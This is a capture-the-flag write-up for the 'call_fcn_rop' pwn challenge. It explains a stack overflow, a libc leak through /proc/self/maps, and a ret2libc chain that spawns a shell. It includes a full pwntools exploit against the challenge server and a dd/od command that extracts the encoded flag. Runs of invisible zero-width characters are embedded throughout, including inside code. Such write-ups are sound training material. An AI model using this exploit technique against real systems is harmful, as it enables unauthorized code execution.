← Back to Writeups
CUSTOMMediumpwn

pwn4 call_fcn_rop

XESXOR9/2/20265 min read
#pwn#custom#medium#flag_extraction_from_server_bi#proc_self_maps_libc_leak#ret2libc#rop_chain#stack_alignment_movaps#xor_decode#linux

pwn4 call_fcn_rop

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: flag_extraction_from_server_binary, proc_self_maps_libc_leak, ret2libc, rop_chain, stack_alignment_movaps, xor_decode

Summary

Task: NON-PIE 64-bit ELF with NX and no canary; a stack overflow in logic() and a win_fcn that prints the flag only if called with six exact register args. Solution: parse the libc base from the /proc/self/maps dump leaked at startup, then ret2libc system('/bin/sh') (with movaps stack alignment) instead of satisfying the 6-arg check, and read the real XOR-encoded flag from the server's /task binary .data.

pwn4 call_fcn_rop — pwn_spbctf

Description

Just call win_fcn and make it print flag for you. And there is no shellcode now!

64-bit x86-64 ELF, NON-PIE (loaded at 0x400000), NX enabled, no stack canary. libc-2.31.so is provided. Remote: nc 109.233.56.90 11651. Goal: make the program print the flag. NX rules out shellcoding (the previous tier in the series), so this is a ROP challenge.

Analysis

Binary layout:

  • main @ 0x400860 — setvbuf(stdout/stdin), then calls drop_address() followed by logic().
  • drop_address @ 0x4007b0 — opens "/proc/self/maps" (string @ 0x400944), read(fd, buf=[rbp-0x1010], 0x1000), then puts(buf). This dumps /proc/self/maps to stdout at startup → a free libc-base leak. Parse the start of the first libc-2.31.so r--p 00000000 mapping each run (observed 0x7ffff7e05000, but it must be parsed dynamically).
  • logic @ 0x400830 — read(0, buf=[rbp-0x20], 0x100). The 0x100-byte read into a 0x20 buffer is a stack overflow. Offset from buf to the saved return address is 0x28.
  • win_fcn @ 0x4006d0 — prints the flag (XOR-decode of 13 dwords at 0x601060 using key edi) only if called with all six args: edi==0xcafebabe, esi==0x80, edx==0x7f, ecx==0, r8==-1, r9==0xdeadbeef. Any mismatch jumps to a non-printing path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful gadgets in the binary:

GadgetAddress
pop rdi ; ret0x400923
pop rsi ; pop r15 ; ret0x400921
ret (alignment)0x40056e
__libc_csu_init tail (pop r12..r15)0x40091c
__libc_csu_init (mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+8*rbx])0x400900

The binary has no pop rdx, pop rcx, pop r8, or pop r9 gadget.

Solution

Choosing the primitive: ret2libc, not the 6-arg check

The "intended" path — satisfying all six win_fcn arguments — requires setting rcx, r8, and r9, for which neither the binary nor glibc-2.31 offers clean pop gadgets. Combining the CSU gadget controls rdx/rsi/rdi but not the rest, making the chain awkward. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since drop_address() hands us a libc base for free via /proc/self/maps, the much cleaner path is a classic ret2libc system("/bin/sh"). We pivot to the simpler primitive instead of fighting the register constraints.

ROP chain (overflow in logic, offset 0x28)

[ 0x28 padding ]
p64(ret = 0x40056e)        # 16-byte stack alignment for movaps in do_system
p64(pop rdi ; ret = 0x400923)
p64(libc_base + offset("/bin/sh"))
p64(libc_base + offset(system))

The bare ret is required: glibc 2.31's do_system executes a movaps instruction that faults if rsp is not 16-byte aligned at the call. Inserting one extra ret fixes alignment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Delivery and shell I/O

  • read() in logic() reads up to 0x100 bytes; pad the payload to exactly 0x100 so read() returns without needing EOF.
  • Do not shutdown() the send side — keep stdin open so the spawned shell can read commands over the same socket.

Extracting the flag from the server binary

There is no /flag file on disk and no FLAG env var. The flag lives XOR-encoded in the binary's .data at vaddr 0x601060 (13 dwords, key 0xcafebabe). Crucially, the downloaded binary contains dummy placeholders (0x01, 0x02, ..., 0x0c); only the server's /task binary has the real flag baked in. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Map the vaddr to a file offset via the section header: .data vaddr 0x601050 == file offset 0x1050, so the flag dwords at 0x601060 are at file offset 0x1060 (= 4192). With the shell, dump 52 bytes (13 dwords) and decode locally (xxd is unavailable, so use od):

sh
dd if=/task bs=1 skip=4192 count=52 2>/dev/null | od -An -tx1

XOR each dword with 0xcafebabe (the 13th dword is 0xcafebabe itself → decodes to a 0 terminator), reproducing exactly what win_fcn would have printed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full exploit

python
#!/usr/bin/env python3
from pwn import *
import time

HOST, PORT = '109.233.56.90', 11651

# drop_address() leaks /proc/self/maps -> parse libc base
# logic(): read(0, buf=[rbp-0x20], 0x100) -> overflow, buf->savedRET = 0x28
POP_RDI = 0x400923   # pop rdi ; ret
RET     = 0x40056e   # ret (alignment for movaps)

libc = ELF('call_fcn_rop_libc.so', checksec=False)
SYSTEM_OFF = libc.symbols['system']        # 0x48f20
BINSH_OFF  = next(libc.search(b'/bin/sh')) # 0x18a156

io = remote(HOST, PORT)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# --- parse libc base from /proc/self/maps leak ---
time.sleep(0.5)
text = io.recv(timeout=2).decode(errors='replace')
libc_base = None
for line in text.splitlines():
    if 'libc-2.31.so' in line and 'r--p 00000000' in line:
        libc_base = int(line.split('-')[0], 16)
        break
assert libc_base, "no libc base found:\n" + text
log.success("libc base = %#x", libc_base)

system = libc_base + SYSTEM_OFF
binsh  = libc_base + BINSH_OFF

# --- build ROP chain for logic() overflow ---
payload  = b'A' * 0x28        # fill buf -> saved RET
payload += p64(RET)           # 16-byte stack alignment for movaps in system
payload += p64(POP_RDI)
payload += p64(binsh)
payload += p64(system)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# pad to exactly 0x100 so read() returns without EOF (keep stdin open)
payload = payload.ljust(0x100, b'\x00')
io.send(payload)
time.sleep(0.6)

# Shell active. Flag is XOR(0xcafebabe)-encoded in .data @ vaddr 0x601060
# == file offset 0x1060 (4192), 13 dwords. Read from server's /task and decode.
io.sendline(b'dd if=/task bs=1 skip=4192 count=52 2>/dev/null | od -An -tx1; echo DONE')
time.sleep(1.2)
out = io.recvrepeat(timeout=4).decode(errors='replace')
hexpart = ''.join(out.split('DONE')[0].split())
data = bytes.fromhex(hexpart)
flag = b''
for i in range(0, len(data), 4):
    flag += p32(u32(data[i:i+4]) ^ 0xcafebabe)
flag = flag.split(b'\x00')[0].decode(errors='replace')
log.success("FLAG: %s", flag)
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍